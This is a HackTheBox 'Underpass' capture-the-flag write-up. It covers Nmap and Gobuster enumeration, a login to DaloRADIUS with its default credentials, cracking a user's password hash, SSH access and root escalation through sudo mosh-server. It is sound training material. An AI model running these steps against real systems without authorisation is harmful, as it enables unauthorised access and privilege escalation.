> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/underpass-hackthebox-writeup.md). # Underpass HackTheBox Writeup Underpass HackTheBox Easy Linux machine writeup covering UDP Enumeration, Default Credentials (DaloRADIUS), Password Cracking, Privilege Escalation via SUDO (mosh-server), with practical enumeration, {% embed url="" %} {% hint style="warning" %} **Skills:** * UDP Enumeration * Default Credentials (DaloRADIUS) * Password Cracking * Privilege Escalation via SUDO (mosh-server) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
### TCP **Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.48 -oG allPorts ```
Port version scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 10.10.11.48 -oN targeted ```
### UDP **Scan of the most used UDP ports:** We perform a scan of the 100 most common UDP ports: ```bash nmap -sU --top-ports 100 --open -vvv -n 10.10.11.48 -oG allPortsUDP ```
* Ports identified: **161, 1812, 1813**.
**UDP Service Version Scan :**/ We target the identified ports for additional information: ```bash nmap -sUCV -p161,1812,1813 10.10.11.48 -oN targetedUDP ```
**Observation initiale :** * The domain **underpass.htb** is discovered. * A CMS named **DaloRADIUS** is identified. ## CMS - **DaloRADIUS**
**Scan directories with Gobuster:**/ We explore the website directories: ```bash gobuster dir -u http://underpass.htb/daloradius/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Result: a directory named **`/app`** is discovered.
**Listing of subdirectories:**
By exploring **`/app`**, we find: ```bash gobuster dir -u http://underpass.htb/daloradius/app/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```
* A **login page for users**.
* A **login page for operators**.
**Access with DaloRADIUS default credentials:**/ By testing the default credentials for RADIUS: * **Username:** `administrator` * **Password:** `radius`/ These credentials work on the operator panel.
### **Sensitive Information Extraction:** In the **Management** section we find a **username** and a **password hash**: * **User:** `svcMosh` * **Hash :** `412DD4759978ACFCC81DEAB01B382403`
### **Hash Cracking:**
We use **CrackStation** to decrypt the hash: {% embed url="" %} **Decrypted password:** `underwaterfriends`
**SSH connection:**/ With these credentials, we access the machine via SSH: ```bash ssh svcMosh@underpass.htb underwaterfriends ```
## Privilege Escalation ### SUDO - Mosh-Server By checking permissions with the `sudo -l` command, we discover that user **svcMosh** can run the **mosh-server** binary with administrator privileges without providing a password ```bash sudo -l ```
> Since you have the option to run **mosh-server** as root, you can leverage this to establish a connection with **mosh** using **sudo** to run the server as administrator. The following command will run **mosh-server** with root privileges, then establish a connection with the **mosh** client: ```bash mosh --server="sudo /usr/bin/mosh-server" localhost ``` This will allow **mosh** to connect to the server **mosh-server** which is running as root on **localhost**. Using this method you will have privileged access to the machine with administrator rights.
### Flag root.txt :)
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